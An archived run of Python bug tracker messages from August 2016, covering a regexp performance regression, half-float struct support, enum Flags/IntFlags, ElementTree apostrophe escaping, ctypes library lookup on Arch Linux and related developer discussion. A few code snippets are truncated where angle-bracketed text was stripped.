benchmark suite :-) pystone was removed from the new https://github.com/python/performance benchmark suite. I suggest to close this issue as outdated. ---------- nosy: +haypo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 12:27:11 2016 From: report at bugs.python.org (Tomas Orsava) Date: Tue, 30 Aug 2016 16:27:11 +0000 Subject: [issue25573] FrameSummary repr() does not support previously working uses of repr in traceback module In-Reply-To: <1446845666.11.0.0803768990935.issue25573@psf.upfronthosting.co.za> Message-ID: <1472574431.87.0.223646160885.issue25573@psf.upfronthosting.co.za> Tomas Orsava added the comment: This problem has already been addressed in issue 27208, and it was fixed by updating the documentation to reflect the new repr(). Therefore, I believe this issue can be closed. ---------- nosy: +torsava _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 12:27:50 2016 From: report at bugs.python.org (Steve Newcomb) Date: Tue, 30 Aug 2016 16:27:50 +0000 Subject: [issue27898] regexp performance degradation between 2.7.6 and 2.7.12 Message-ID: <1472574470.7.0.512575721216.issue27898@psf.upfronthosting.co.za> New submission from Steve Newcomb: Our most regular-expression-processing-intensive Python 2.7 code takes 2.5x more execution time in 2.7.12 than it did in 2.7.6. I discovered this after upgrading from Ubuntu 14.04 to Ubuntu 16.04. Basically this code runs thousands of compiled regular expressions on thousands of texts. Both the multiprocessing module and the re module are heavily used. See attached profiler outputs, which look quite different in several respects. I used the profiling module to profile the same Python code, processing the same data, using the same hardware, under both Ubuntu 14.04 (Python 2.7.6) and Ubuntu 16.04 (Python 2.7.12). It is striking, for example, that cPickle.load appears so prominently in the 2.7.12 profile -- a fact which appears to implicate the multiprocessing module somehow. But I suspect that the re module is more likely the main source of the problem, because the execution times of other production steps -- steps that do not call the multiprocessing module -- also appear to be extended to a degree that is roughly proportional to the amount of regular expression processing done in those other steps. I will happily provide any further information I can. Any insights about this surprisingly severe performance degradation would be welcome. ---------- files: profiles_2.7.6_vs_2.7.12 messages: 273932 nosy: steve.newcomb priority: normal severity: normal status: open title: regexp performance degradation between 2.7.6 and 2.7.12 Added file: http://bugs.python.org/file44277/profiles_2.7.6_vs_2.7.12 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 12:36:55 2016 From: report at bugs.python.org (Mark Dickinson) Date: Tue, 30 Aug 2016 16:36:55 +0000 Subject: [issue11734] Add half-float (16-bit) support to struct module In-Reply-To: <1301619617.43.0.214438166588.issue11734@psf.upfronthosting.co.za> Message-ID: <1472575015.63.0.819506434731.issue11734@psf.upfronthosting.co.za> Mark Dickinson added the comment: There's some NaN behaviour that needs fixing in the packing code: packing a NaN currently creates a signalling NaN rather than a quiet NaN, and the sign of a NaN isn't respected. (One can make a strong argument that the sign of the NaN doesn't matter, but we're respecting the sign for '>> '{:064b}'.format(struct.unpack('>> '{:032b}'.format(struct.unpack('>> '{:016b}'.format(struct.unpack('>> '{:064b}'.format(struct.unpack('>> '{:032b}'.format(struct.unpack('>> '{:016b}'.format(struct.unpack(' _______________________________________ From report at bugs.python.org Tue Aug 30 12:42:36 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 30 Aug 2016 16:42:36 +0000 Subject: [issue27895] Spelling fixes Message-ID: <1472575356.68.0.204307685172.issue27895@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- assignee: docs at python -> rhettinger nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 12:43:53 2016 From: report at bugs.python.org (Ethan Furman) Date: Tue, 30 Aug 2016 16:43:53 +0000 Subject: [issue23591] enum: Add Flags and IntFlags In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za> Message-ID: <1472575433.29.0.376814006323.issue23591@psf.upfronthosting.co.za> Ethan Furman added the comment: Patch includes tests, but not docs. >From a previous comment: ----------------------- > As it stands, Weird(7) would be , and if A was not > defined an error would be raised. Actually, it would be since BC has a higher value than A. ---------- stage: -> patch review Added file: http://bugs.python.org/file44278/issue23591.stoneleaf.02.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 12:46:58 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 30 Aug 2016 16:46:58 +0000 Subject: [issue27898] regexp performance degradation between 2.7.6 and 2.7.12 In-Reply-To: <1472574470.7.0.512575721216.issue27898@psf.upfronthosting.co.za> Message-ID: <1472575618.81.0.730978536893.issue27898@psf.upfronthosting.co.za> Raymond Hettinger added the comment: It would be helpful if you could run "hg bisect" with your set-up to isolate the change that causes the problem. Alternatively, make a small set of regular expressions that demonstrate the performance regression. ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 12:47:33 2016 From: report at bugs.python.org (David Stanek) Date: Tue, 30 Aug 2016 16:47:33 +0000 Subject: [issue2445] Use The CygwinCCompiler Under Cygwin In-Reply-To: <1206117698.01.0.240143600903.issue2445@psf.upfronthosting.co.za> Message-ID: <1472575653.96.0.9095707553.issue2445@psf.upfronthosting.co.za> Changes by David Stanek : ---------- nosy: -dstanek _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 13:00:35 2016 From: report at bugs.python.org (Brett Cannon) Date: Tue, 30 Aug 2016 17:00:35 +0000 Subject: [issue26359] CPython build options for out-of-the box performance In-Reply-To: <1455445693.01.0.984013993837.issue26359@psf.upfronthosting.co.za> Message-ID: <1472576435.65.0.962170312653.issue26359@psf.upfronthosting.co.za> Brett Cannon added the comment: Just FYI, Alecsandru, I plan on applying your patches this week or next, so if you can just double-check they still apply cleanly that would be great. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 13:18:25 2016 From: report at bugs.python.org (Israel Fruchter) Date: Tue, 30 Aug 2016 17:18:25 +0000 Subject: [issue27899] Apostrophe is not replace with ' ElementTree.tostring (also in Element.write) Message-ID: <1472577505.85.0.700751415342.issue27899@psf.upfronthosting.co.za> New submission from Israel Fruchter: Both on python2.7 and python3.4 >>> from xml.etree import cElementTree as ET >>> text = 'its > < & '' >>> root = ET.fromstring(text.encode('utf-8')) >>> ET.tostring(root, method="xml") its > < & ' I would expected to return the same as the input to be a complient XML 1.0 I would understand why for html it would return something diffrent, see: http://stackoverflow.com/questions/2083754/why-shouldnt-apos-be-used-to-escape-single-quotes as a workaround I had to path ElementTree: from xml.etree.ElementTree import _escape_cdata ,_raise_serialization_error from mock import patch def _escape_cdata(text): # escape character data try: # it's worth avoiding do-nothing calls for strings that are # shorter than 500 character, or so. assume that's, by far, # the most common case in most applications. if "&" in text: text = text.replace("&", "&") if "<" in text: text = text.replace("<", "<") if ">" in text: text = text.replace(">", ">") if "'" in text: text = text.replace("'", "'") return text except (TypeError, AttributeError): _raise_serialization_error(text) from xml.etree import cElementTree as ET text = 'its > < & '' root = ET.fromstring(text.encode('utf-8')) with patch('xml.etree.ElementTree._escape_cdata', new=_escape_cdata): s = ET.tostring(root, encoding='unicode', method="xml") print(s) ---------- components: XML messages: 273937 nosy: fruch priority: normal severity: normal status: open title: Apostrophe is not replace with ' ElementTree.tostring (also in Element.write) type: behavior versions: Python 2.7, Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 13:23:09 2016 From: report at bugs.python.org (Brett Cannon) Date: Tue, 30 Aug 2016 17:23:09 +0000 Subject: [issue25423] Deprecate benchmarks that execute too quickly In-Reply-To: <1445016719.35.0.429724365495.issue25423@psf.upfronthosting.co.za> Message-ID: <1472577789.96.0.138130712345.issue25423@psf.upfronthosting.co.za> Brett Cannon added the comment: I trust you fixed it. :) ---------- resolution: -> fixed status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 13:23:32 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 30 Aug 2016 17:23:32 +0000 Subject: [issue23591] enum: Add Flags and IntFlags In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za> Message-ID: <1472577812.55.0.612806035929.issue23591@psf.upfronthosting.co.za> Raymond Hettinger added the comment: [Ethan] > My experience is that a module maintainer, or somebody claiming to speak > for the module maintainer, can close any issue in their area at any > time regardless of the number of core devs in favor of a change. Ethan, it is still up to you and the other module maintainers to decide whether this goes in or whether to defer it for a release cycle. If you have any concerns about having too many enum variants and think this is at odds with your goals for the module, say so here and we can resolve it at the sprints. On the other hand, if you're happy with it, we should get it applied as soon as possible. [Serhiy] > If general IntFlags will not added, I'm going to open separate issues > for adding specialized class for every particular case (re, os, etc). When enum went in, I thought Guido had said and everyone agreed to refrain sweeping through the standard lib and applying enums broadly to long standing and stable APIs. Perhaps something has changed since them but there was a clear intention to show restraint, let enums mature, respect stable APIs, and to wait for demonstrated need (i.e. actual rather than imagined user difficulties). ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 13:23:45 2016 From: report at bugs.python.org (Mark Lawrence) Date: Tue, 30 Aug 2016 17:23:45 +0000 Subject: [issue2445] Use The CygwinCCompiler Under Cygwin In-Reply-To: <1206117698.01.0.240143600903.issue2445@psf.upfronthosting.co.za> Message-ID: <1472577825.09.0.65621869244.issue2445@psf.upfronthosting.co.za> Changes by Mark Lawrence : ---------- nosy: -BreamoreBoy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 13:24:33 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 30 Aug 2016 17:24:33 +0000 Subject: [issue27898] regexp performance degradation between 2.7.6 and 2.7.12 In-Reply-To: <1472574470.7.0.512575721216.issue27898@psf.upfronthosting.co.za> Message-ID: <1472577873.63.0.44596393619.issue27898@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: According to your profile results all re functions are 2.5-4 times faster under 2.7.12 than under 2.7.6. May be I misinterpret it? Note that 96-99% of time (2847.099 of 2980.718 seconds under 2.7.6 and 4474.890 of 4519.872 seconds under 2.7.12) is spent in posix.waitpid. The rest of time is larger under 2.7.6 (2980.718 - 2847.099 = 133.619) than under 2.7.12 (4519.872 - 4474.890 = 44.982). ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 13:33:57 2016 From: report at bugs.python.org (Israel Fruchter) Date: Tue, 30 Aug 2016 17:33:57 +0000 Subject: [issue27899] Apostrophe is not replace with ' ElementTree.tostring (also in Element.write) In-Reply-To: <1472577505.85.0.700751415342.issue27899@psf.upfronthosting.co.za> Message-ID: <1472578437.51.0.452676818197.issue27899@psf.upfronthosting.co.za> Israel Fruchter added the comment: I've now found http://bugs.python.org/issue2647, and seem like this was classify as not a bug. maybe documetion should say it ? or anther way to actuly decide about how to output those ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 13:46:00 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 30 Aug 2016 17:46:00 +0000 Subject: [issue27895] Spelling fixes Message-ID: <1472579160.51.0.388214887835.issue27895@psf.upfronthosting.co.za> New submission from Raymond Hettinger: Thanks for the patch. Some of these were a bit embarrassing. Removed the Lib/test/decimaltestdata because this is from an external source (not our code) that is periodically refreshed. I had to hand edit some of the changes to test_asyncio because the patch was breaking those tests for some reason. I had some hesitancy about changing function or variable names in real code and had to spend time looking at each in detail but they all seem legitimate. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 13:47:55 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 30 Aug 2016 17:47:55 +0000 Subject: [issue27867] various issues due to misuse of PySlice_GetIndicesEx In-Reply-To: <1472226685.15.0.242668202848.issue27867@psf.upfronthosting.co.za> Message-ID: <1472579275.52.0.595760352961.issue27867@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Actually making slicing always working is easier than I expected. Maybe it is even easier than raise an error. PySlice_GetIndicesEx() is split on two functions. First convert slice attributes to Py_ssize_t, then scale them to appropriate range depending on the length. Here is a sample patch. ---------- keywords: +patch stage: needs patch -> patch review Added file: http://bugs.python.org/file44279/slice_get_indices.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 13:48:06 2016 From: report at bugs.python.org (Roundup Robot) Date: Tue, 30 Aug 2016 17:48:06 +0000 Subject: [issue27895] Spelling fixes In-Reply-To: <1472579160.51.0.388214887835.issue27895@psf.upfronthosting.co.za> Message-ID: <20160830174758.13094.401.C257102F@psf.io> Roundup Robot added the comment: New changeset 75d6d5d9b674 by Raymond Hettinger in branch 'default': Issue #27895: Spelling fixes (Contributed by Ville Skytt?). https://hg.python.org/cpython/rev/75d6d5d9b674 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 13:50:54 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 30 Aug 2016 17:50:54 +0000 Subject: [issue27895] Spelling fixes In-Reply-To: <1472579160.51.0.388214887835.issue27895@psf.upfronthosting.co.za> Message-ID: <1472579454.47.0.620579748872.issue27895@psf.upfronthosting.co.za> Raymond Hettinger added the comment: FYI, the patch did not apply cleanly to Python 3.5 so this was applied to 3.6 only. If someone feels this is important to them, they are welcome to backport the applicable parts of the patch. ---------- resolution: -> fixed status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 14:14:47 2016 From: report at bugs.python.org (Steve Newcomb) Date: Tue, 30 Aug 2016 18:14:47 +0000 Subject: [issue27898] regexp performance degradation between 2.7.6 and 2.7.12 In-Reply-To: <1472575618.81.0.730978536893.issue27898@psf.upfronthosting.co.za> Message-ID: <64ac2b55-ff36-469c-e645-2ab920d0667a@coolheads.com> Steve Newcomb added the comment: On 08/30/2016 12:46 PM, Raymond Hettinger wrote: > Raymond Hettinger added the comment: > > It would be helpful if you could run "hg bisect" with your set-up to isolate the change that causes the problem. I don't think I understand you. There's no difference in the Python code we're using in both cases. The only differences, AFAIK, are in the Python interpreter and in the Linux distribution. I'm not qualified to analyze the differences in the latter items. > Alternatively, make a small set of regular expressions that demonstrate the performance regression. It will be hard to do that, because the code is so complex, and because debugging in the multiprocessing context is so hairy. Still, it's the only approach I can think of, too. Sigh. I'm thinking about it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 14:16:32 2016 From: report at bugs.python.org (daniel hahler) Date: Tue, 30 Aug 2016 18:16:32 +0000 Subject: [issue27900] ctypes fails to find ncurses via ncursesw on Arch Linux Message-ID: <1472580992.67.0.653516742445.issue27900@psf.upfronthosting.co.za> New submission from daniel hahler: The following code fails on Arch Linux: import ctypes.util print(ctypes.util.find_library("ncurses")) It first looks at "ldconfig -p" (via _findSoname_ldconfig), which only contains: libncursesw.so.6 (libc6,x86-64) => /usr/lib/libncursesw.so.6 libncursesw.so.6 (libc6) => /usr/lib32/libncursesw.so.6 libncursesw.so (libc6,x86-64) => /usr/lib/libncursesw.so libncursesw.so (libc6) => /usr/lib32/libncursesw.so libncurses++w.so.6 (libc6,x86-64) => /usr/lib/libncurses++w.so.6 libncurses++w.so (libc6,x86-64) => /usr/lib/libncurses++w.so /usr/lib/libncurses.so exists, but as a text file: INPUT(-lncursesw) Then "_findLib_gcc" is called, which tries to link a file, and then looks at its output: % if type gcc >/dev/null 2>&1; then CC=gcc; elif type cc >/dev/null 2>&1; then CC=cc;else exit 10; fi;LANG=C LC_ALL=C $CC -Wl,-t -o /tmp/tmp1ysftojh 2>&1 -lncurses /usr/bin/ld: mode elf_x86_64 /usr/lib/gcc/x86_64-pc-linux-gnu/6.1.1/../../../../lib/crt1.o /usr/lib/gcc/x86_64-pc-linux-gnu/6.1.1/../../../../lib/crti.o /usr/lib/gcc/x86_64-pc-linux-gnu/6.1.1/crtbegin.o -lncursesw (/usr/lib/gcc/x86_64-pc-linux-gnu/6.1.1/../../../../lib/libncursesw.so) libgcc_s.so.1 (/usr/lib/gcc/x86_64-pc-linux-gnu/6.1.1/../../../../lib/libgcc_s.so.1) /usr/lib/libc.so.6 (/usr/lib/libc_nonshared.a)elf-init.oS /usr/lib/ld-linux-x86-64.so.2 /usr/lib/ld-linux-x86-64.so.2 libgcc_s.so.1 (/usr/lib/gcc/x86_64-pc-linux-gnu/6.1.1/../../../../lib/libgcc_s.so.1) /usr/lib/gcc/x86_64-pc-linux-gnu/6.1.1/crtend.o /usr/lib/gcc/x86_64-pc-linux-gnu/6.1.1/../../../../lib/crtn.o /usr/lib/gcc/x86_64-pc-linux-gnu/6.1.1/../../../../lib/crt1.o: In function `_start': (.text+0x20): undefined reference to `main' /usr/bin/ld: link errors found, deleting executable `/tmp/tmp1ysftojh' collect2: error: ld returned 1 exit status I don't know if "ldconfig" could be made to display the "text symlink", but with the "cc"-method, it could look for an explicit "cannot find" error instead?! % if type gcc >/dev/null 2>&1; then CC=gcc; elif type cc >/dev/null 2>&1; then CC=cc;else exit 10; fi;LANG=C LC_ALL=C $CC -Wl,-t -o /tmp/tmp1ysftojh 2>&1 -lncursesxx /usr/bin/ld: mode elf_x86_64 /usr/lib/gcc/x86_64-pc-linux-gnu/6.1.1/../../../../lib/crt1.o /usr/lib/gcc/x86_64-pc-linux-gnu/6.1.1/../../../../lib/crti.o /usr/lib/gcc/x86_64-pc-linux-gnu/6.1.1/crtbegin.o libgcc_s.so.1 (/usr/lib/gcc/x86_64-pc-linux-gnu/6.1.1/../../../../lib/libgcc_s.so.1) /usr/bin/ld: cannot find -lncursesxx collect2: error: ld returned 1 exit status The workaround is to also look for "ncursesw" explicitly. I have noticed this with pyrepl, which uses it in https://bitbucket.org/pypy/pyrepl/src/9401662c4e6c11a4d66804361a7e7d09a1f379d7/pyrepl/_minimal_curses.py?at=default&fileviewer=file-view-default#_minimal_curses.py-19:26. ---------- components: ctypes messages: 273947 nosy: blueyed priority: normal severity: normal status: open title: ctypes fails to find ncurses via ncursesw on Arch Linux type: behavior versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 14:18:48 2016 From: report at bugs.python.org (Ethan Furman) Date: Tue, 30 Aug 2016 18:18:48 +0000 Subject: [issue23591] enum: Add Flags and IntFlags In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za> Message-ID: <1472581128.09.0.189617086789.issue23591@psf.upfronthosting.co.za> Ethan Furman added the comment: Raymond, thanks for your support. I am happy to have a flags variant. The advice to wait and let Enum mature instead of adding the Flag variant at the beginning was sound, and we have a better product to show for it now. The four base Enum-type classes will be: - Enum - IntEnum - Flags - IntFlags I see no reason to add any more than these four to the stdlib -- further specializations can live in recipes, third-party modules, or private libraries. While Enum and Flags are the heart of the enum module, IntEnum and IntFlags are present for two reasons: - commonly needed when interfacing with other systems - use in the stdlib itself Pollution (otherwise known as enums escaping into other code where they don't make sense) is controlled by: - IntEnums losing their enum status as soon as they are combined with any other number; and - IntFlags losing their enum status as soon as a non-bitwise operator is used on them. I'll commit as soon as the test suite is finished (and any failures are not attributable to these changes), and work on the docs later. Serhiy, I'm not going to include your changes to re, os, etc., as they are not part of adding Flags/IntFlags. Please open new issues for them. I am not opposed to those changes, as >>> re.I is more useful than >>> re.I 2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 14:19:28 2016 From: report at bugs.python.org (Aviv Palivoda) Date: Tue, 30 Aug 2016 18:19:28 +0000 Subject: [issue24139] Use sqlite3 extended error codes In-Reply-To: <1430990375.51.0.367829317248.issue24139@psf.upfronthosting.co.za> Message-ID: <1472581168.08.0.490830389727.issue24139@psf.upfronthosting.co.za> Aviv Palivoda added the comment: Attached is a patch to enable the extended error codes. This patch should be dependent on issue 16379. Without returning the sqlite error code in the exception the extended error code does not reveal any information not currently available. As you can see in https://github.com/mackyle/sqlite/blob/ebb27fe5bd5045d924d99cdd7dec9b7064c24768/src/main.c#L1318 there are messages only for the non-extended error codes and that is what is exposed now. ---------- keywords: +patch nosy: +palaviv Added file: http://bugs.python.org/file44280/24139.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 14:21:18 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 30 Aug 2016 18:21:18 +0000 Subject: [issue27899] Apostrophe is not replace with ' ElementTree.tostring (also in Element.write) In-Reply-To: <1472577505.85.0.700751415342.issue27899@psf.upfronthosting.co.za> Message-ID: <1472581278.64.0.324145830788.issue27899@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- nosy: +serhiy.storchaka resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> XML munges apos entity in tag content _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 14:23:29 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 30 Aug 2016 18:23:29 +0000 Subject: [issue27899] Apostrophe is not replace with ' ElementTree.tostring (also in Element.write) In-Reply-To: <1472577505.85.0.700751415342.issue27899@psf.upfronthosting.co.za> Message-ID: <1472581409.98.0.0708760481091.issue27899@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- nosy: +skrah _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 14:32:01 2016 From: report at bugs.python.org (Mark Dickinson) Date: Tue, 30 Aug 2016 18:32:01 +0000 Subject: [issue11734] Add half-float (16-bit) support to struct module In-Reply-To: <1301619617.43.0.214438166588.issue11734@psf.upfronthosting.co.za> Message-ID: <1472581921.17.0.6760580934.issue11734@psf.upfronthosting.co.za> Mark Dickinson added the comment: Updated patch: - Fix NaN packing behaviour. - Expand documentation note on the half-precision format, with links to the wikipedia pages for IEEE 754 and for half-precision. (No direct link to IEEE 754 itself, since it isn't publicly available.) - Use unpack_halffloat consistently; add pack_halffloat helper function. If there's no further feedback, I'll apply this in the next day or two. ---------- Added file: http://bugs.python.org/file44281/cpython-struct-float16-v8.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 14:32:22 2016 From: report at bugs.python.org (Mark Dickinson) Date: Tue, 30 Aug 2016 18:32:22 +0000 Subject: [issue11734] Add half-float (16-bit) support to struct module In-Reply-To: <1301619617.43.0.214438166588.issue11734@psf.upfronthosting.co.za> Message-ID: <1472581942.03.0.885425734842.issue11734@psf.upfronthosting.co.za> Changes by Mark Dickinson : ---------- versions: +Python 3.6 -Python 3.3 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 14:33:35 2016 From: report at bugs.python.org (Steve Newcomb) Date: Tue, 30 Aug 2016 18:33:35 +0000 Subject: [issue27898] regexp performance degradation between 2.7.6 and 2.7.12 In-Reply-To: <1472577873.63.0.44596393619.issue27898@psf.upfronthosting.co.za> Message-ID: <722ff06a-9b68-4ef6-e76a-d81e3e581577@coolheads.com> Steve Newcomb added the comment: On 08/30/2016 01:24 PM, Serhiy Storchaka wrote: > Serhiy Storchaka added the comment: > > According to your profile results all re functions are 2.5-4 times faster under 2.7.12 than under 2.7.6. May be I misinterpret it? I can't explain the profiler's report. I'm kind of glad that you, too, find it baffling. Is it possible that the profiler doesn't actually work predictably in the multiprocessing context? If so, one thing I can *easily* do is to disable multiprocessing in that code and see what the profiler reports are then. It will take all night, but I'm beginning to think it would be worthwhile, because it might point the finger of blame at either the multiprocessing module or the re module, but not both at once. (I originally provided a "disable multiprocessing" capability in that code in order to use the Python debugger with it. It would kind of make sense if the profiler had limitations similar to those of the debugger.) > > Note that 96-99% of time (2847.099 of 2980.718 seconds under 2.7.6 and 4474.890 of 4519.872 seconds under 2.7.12) is spent in posix.waitpid. The rest of time is larger under 2.7.6 (2980.718 - 2847.099 = 133.619) than under 2.7.12 (4519.872 - 4474.890 = 44.982). Yeah, I'm beginning to wonder if those strange statistics, too, are artifacts of using a single-process profiler in a multiprocessing context. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 14:53:48 2016 From: report at bugs.python.org (Mark Dickinson) Date: Tue, 30 Aug 2016 18:53:48 +0000 Subject: [issue11734] Add half-float (16-bit) support to struct module In-Reply-To: <1301619617.43.0.214438166588.issue11734@psf.upfronthosting.co.za> Message-ID: <1472583228.16.0.955743942257.issue11734@psf.upfronthosting.co.za> Mark Dickinson added the comment: I missed Antoine's 2015 comments on the test code. Here's one more version of the patch, which addresses those comments. ---------- Added file: http://bugs.python.org/file44282/cpython-struct-float16-v9.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 15:07:31 2016 From: report at bugs.python.org (Andre Merzky) Date: Tue, 30 Aug 2016 19:07:31 +0000 Subject: [issue27889] ctypes interfers with signal handling In-Reply-To: <1472510858.82.0.884835264582.issue27889@psf.upfronthosting.co.za> Message-ID: <1472584051.14.0.730162025141.issue27889@psf.upfronthosting.co.za> Andre Merzky added the comment: I also see the problem on 2.7.11, on MacOS, but with significantly lower frequency. I can't tell if that is due to changes in Python, the different architecture, or whatever... $ python -V Python 2.7.11 $ uname -a Darwin cameo.local 14.4.0 Darwin Kernel Version 14.4.0: Thu May 28 11:35:04 PDT 2015; root:xnu-2782.30.5~1/RELEASE_X86_64 x86_64 $ while true; do i=$((i+1)); echo -n "$i: "; python t.py || break; done 1: except: caught sigusr2 2: except: caught sigusr2 3: except: caught sigusr2 ... 134: except: caught sigusr2 Traceback (most recent call last): File "t.py", line 30, in print 'unexcepted' File "t.py", line 14, in sigusr2_handler raise RuntimeError('caught sigusr2') RuntimeError: caught sigusr2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 15:19:26 2016 From: report at bugs.python.org (Mark Dickinson) Date: Tue, 30 Aug 2016 19:19:26 +0000 Subject: [issue22458] Add fractions benchmark In-Reply-To: <1411369830.75.0.216203072207.issue22458@psf.upfronthosting.co.za> Message-ID: <1472584766.84.0.8794412217.issue22458@psf.upfronthosting.co.za> Changes by Mark Dickinson : ---------- nosy: -mark.dickinson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 15:21:52 2016 From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=) Date: Tue, 30 Aug 2016 19:21:52 +0000 Subject: [issue23591] enum: Add Flags and IntFlags In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za> Message-ID: <1472584912.33.0.331289565095.issue23591@psf.upfronthosting.co.za> Vedran ?a?i? added the comment: The weirdest thing is that it already works pretty well in output of re.compile. >>> re.compile('', re.I | re.M) re.compile('', re.IGNORECASE|re.MULTILINE) >>> _.flags # re.UNICODE == 32 added automatically 42 So the only thing we should enhance is the output of .flags, and it seems that all the necessary code is already in the source code of __repr__ of SRE_Pattern objects. Also, I suppose that means you've given up on the autocreation (since the values _are_ semantical here), and I suppose you'll require all the declared values to be powers of 2. With those conditions, I think this is a good enhancement of Python. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 15:26:21 2016 From: report at bugs.python.org (Anthony Flury) Date: Tue, 30 Aug 2016 19:26:21 +0000 Subject: [issue27901] inspect.ismethod returns different results on the same basic code between Python2.7 Python3.5 Message-ID: <1472585181.25.0.672560198795.issue27901@psf.upfronthosting.co.za> New submission from Anthony Flury: Consider the following code in Python2.7 & Python3.5 import inspect class a(object): def m(self): pass in Python 2.7 inspect.ismethod(a.m) returns True in Python 3.5 inspect.ismethod(a.m) returns False Not sure which is `correct`, but I can see the Python3.5 result causing some issues with automatic code documenters. I have code which will break under Python3.5 with this - my code performs static analysis of code, detecting functions, classes, attributes, and also traversing the mro to find inherited methods etc. Amongst other things this code identifies methods on classes, without instantiating those classes. This may simply require a documentation change to explain the difference on Py3.5 - rather than a code change. ---------- components: Library (Lib) messages: 273955 nosy: anthony-flury priority: normal severity: normal status: open title: inspect.ismethod returns different results on the same basic code between Python2.7 Python3.5 versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 15:35:59 2016 From: report at bugs.python.org (Roundup Robot) Date: Tue, 30 Aug 2016 19:35:59 +0000 Subject: [issue27842] Order CSV header fields In-Reply-To: <1471970562.41.0.180278117892.issue27842@psf.upfronthosting.co.za> Message-ID: <20160830193556.77269.97166.31BD1ED4@psf.io> Roundup Robot added the comment: New changeset bb3e2a5be31b by Raymond Hettinger in branch 'default': Issue #27842: The csv.DictReader now returns rows of type OrderedDict. https://hg.python.org/cpython/rev/bb3e2a5be31b ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 15:37:11 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 30 Aug 2016 19:37:11 +0000 Subject: [issue27842] Order CSV header fields In-Reply-To: <1471970562.41.0.180278117892.issue27842@psf.upfronthosting.co.za> Message-ID: <1472585831.89.0.835048400679.issue27842@psf.upfronthosting.co.za> Raymond Hettinger added the comment: Thanks Steve. ---------- resolution: -> fixed status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 15:42:06 2016 From: report at bugs.python.org (Ethan Furman) Date: Tue, 30 Aug 2016 19:42:06 +0000 Subject: [issue23591] enum: Add Flags and IntFlags In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za> Message-ID: <1472586126.25.0.371670467762.issue23591@psf.upfronthosting.co.za> Ethan Furman added the comment: Since we're using re as the sample, here's where re.I is defined: Lib/re.py: --------- I = IGNORECASE = sre_compile.SRE_FLAG_IGNORECASE # ignore case As already mentioned, re.I results in 2, and a re.compile object is not usable as a re flag. > Also, I suppose that means you've given up on the autocreation We decided auto-created values were too magical for the stdlib (see issue26988). They will exist in my aenum package, though. > (since the values _are_ semantical here), The values have meaning because the underlying library gave them meaning; so assuming a type of Flags are used, they will be IntFlags. > and I suppose you'll require all the declared values to be powers of 2. Nope. You are welcome to give more meaningful names to different combinations of powers of two. > With those conditions, I think this is a good enhancement of Python. Hopefully 